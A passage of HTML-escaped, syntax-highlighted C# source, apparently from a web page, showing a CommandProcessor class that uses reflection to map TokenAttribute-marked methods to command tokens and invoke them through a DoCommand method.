class=&#34;k&#34;&gt;break&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 65&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 66&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 67&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 68&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 69&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 70&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;CommandProcessor&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 71&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 72&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;c1&#34;&gt;// our dictionary of method calls.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 73&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;internal&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;static&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Dictionary&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;availableFunctions&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Dictionary&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 74&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 75&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;static&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;CommandProcessor&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 76&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 77&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;SetupMethodCallDictionary&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 78&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 79&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 80&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;static&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;SetupMethodCallDictionary&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 81&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 82&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;// get the current assembly.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 83&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;Assembly&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;assembly&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Assembly&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;GetExecutingAssembly&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 84&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 85&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;// cycle through the types in the assembly&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 86&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;foreach&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Type&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;type&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;assembly&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;GetTypes&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;())&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 87&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 88&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;c1&#34;&gt;// cycle through the methods on each type&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 89&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;k&#34;&gt;foreach&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;MethodInfo&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;method&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;type&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;GetMethods&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;())&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 90&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 91&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;c1&#34;&gt;// look for Token attributes on the methods.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 92&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;kt&#34;&gt;object&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;tokens&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;method&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;GetCustomAttributes&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;typeof&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;TokenAttribute&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;),&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 93&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 94&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;tokens&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Length&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 95&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 96&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                        &lt;span class=&#34;c1&#34;&gt;// cycle through the token attributes (allowing multiple attributes&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 97&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                        &lt;span class=&#34;c1&#34;&gt;// leaves room for backwards compatibility if you change your tokens&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 98&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                        &lt;span class=&#34;c1&#34;&gt;// or consolidate functionality of the methods. etc.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 99&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                        &lt;span class=&#34;k&#34;&gt;foreach&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;TokenAttribute&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;token&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;tokens&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;100&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;101&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                            &lt;span class=&#34;c1&#34;&gt;// look for the token in the dictionary, if it&amp;#39;s not there add it..&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;102&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                            &lt;span class=&#34;n&#34;&gt;MethodInfo&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;foundMethod&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;default&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;MethodInfo&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;103&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                            &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;availableFunctions&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;TryGetValue&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;token&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;TokenName&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;out&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;foundMethod&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;104&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                            &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;105&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                                &lt;span class=&#34;c1&#34;&gt;// if there is more than one function registered for the same&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;106&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                                &lt;span class=&#34;c1&#34;&gt;// token, just keep the last one found.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;107&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                                &lt;span class=&#34;n&#34;&gt;availableFunctions&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;token&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;TokenName&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;method&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;108&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                            &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;109&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                            &lt;span class=&#34;k&#34;&gt;else&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;110&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                            &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;111&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                                &lt;span class=&#34;c1&#34;&gt;// add to the table.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;112&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                                &lt;span class=&#34;n&#34;&gt;availableFunctions&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;token&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;TokenName&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;method&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;113&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                            &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;114&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;115&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;116&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;117&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;118&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;119&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;120&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;static&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;DoCommand&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;token&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;tag&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;cmdLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;State&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;state&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;121&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;122&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;// the data returned from the command&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;123&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;outData&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Empty&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;124&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;MethodInfo&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;method&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;default&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;MethodInfo&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;125&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;126&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;// see if we have a method for that token&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;127&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;availableFunctions&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;TryGetValue&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;token&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;out&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;method&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;128&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;129&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;c1&#34;&gt;// if so, create an instance of the object, and then execute the method,&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;130&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;c1&#34;&gt;// unless it&amp;#39;s static.. in which case just execute the method.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;131&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;kt&#34;&gt;object&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;instance&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;null&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;132&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(!&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;method&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;IsStatic&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;133&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;134&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;c1&#34;&gt;// this just invokes the default constructor... if you need to pass&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;135&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;c1&#34;&gt;// parameters use one of the other overloads.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;136&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;n&#34;&gt;instance&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Activator&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;CreateInstance&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;method&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ReflectedType&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;137&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;138&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;139&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;kt&#34;&gt;object&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;args&lt;/span&gt; &lt;span 